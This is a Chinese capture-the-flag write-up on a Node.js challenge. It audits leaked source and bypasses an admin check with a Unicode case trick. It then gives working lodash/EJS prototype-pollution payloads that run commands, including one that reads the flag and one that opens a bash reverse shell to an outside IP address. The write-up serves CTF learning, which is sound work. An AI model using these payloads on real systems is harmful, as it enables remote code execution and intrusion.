# 源码泄露

image-20220414115547585

注册完之后发现注释

image-20220414115621923

下载下来

# 本地搭建

用 vscode 打开

npm install 安装依赖

image-20220414104052708

然后在 app.js 加上对外开放的端口

// 设置 http
var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

之后运行即可访问 8081 端口

image-20220414104203302

# 代码审计

package.json

{
  "name": "web",
  "version": "0.0.0",
  "private": true,
  "scripts": {
    "start": "nodemon ./bin/www"
  },
  "dependencies": {
    "cookie-parser": "~1.4.4",
    "debug": "~2.6.9",
    "ejs": "~2.6.1",
    "express": "~4.16.1",
    "express-session": "^1.17.0",
    "http-errors": "~1.6.3",
    "lodash": "^4.17.15",
    "morgan": "~1.9.1",
    "randomatic": "^3.1.1"
  }
}

ejs,反手一猜就是 ejs 注入

进来就看到 merge

image-20220414115847791

merge 在 clone 中调用,找找哪里使用了 clone

image-20220414120010043

这个 action 路由,需要先成为 admin,那就看看 login

这个 info 路由,就是 ejs 注入

image-20220414120115534

toUpperCase()

直接用 p 神的大小写绕过

# js 大小写绕过

注册

admın

密码:123

image-20220414120334994

# ejs 注入

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

然后访问 info,下载 flag

image-20220414120435332

或者反弹 shell

{"lua":"a","__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.79.0.164/1236 0>&1\"');var __tmp2"},"Submit":""}}

image-20220414123416904

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝